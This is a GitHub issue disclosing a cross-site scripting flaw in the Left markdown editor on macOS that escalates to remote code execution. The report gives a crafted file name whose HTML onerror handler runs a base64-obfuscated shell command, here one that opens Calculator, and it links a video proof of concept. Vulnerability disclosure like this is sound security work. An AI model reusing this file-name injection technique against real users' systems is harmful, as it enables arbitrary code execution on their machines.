Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS and RCE Vulnerabilities via Filename #167

Open
AliceLacie opened this issue Nov 14, 2022 · 0 comments
Open

XSS and RCE Vulnerabilities via Filename #167

AliceLacie opened this issue Nov 14, 2022 · 0 comments

Comments

@AliceLacie
Copy link

AliceLacie commented Nov 14, 2022

Author: [email protected]
OS: macOS 
Version: 7.1.5

Summary

It has been possible to trigger xss and Remote Code Execution via filename

Description

You can trigger Remote Code Execution using require because the file name generates an XSS.
If you name the file <img src=x onerror=require('child_process').exec('echo$IFS"b3BlbiAtYSAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA=="|base64$IFS-d|sh')>.md and open it with Left, the RCE will be triggered.

[macOS]
filename
<img src=x onerror=require('child_process').exec('echo$IFS"b3BlbiAtYSAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA=="|base64$IFS-d|sh')>.md
image

PoC

https://drive.google.com/file/d/1RgjPqX3rKthP2JlJEtQeqWpYKSi6tb16/view?usp=sharing

What’s More?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant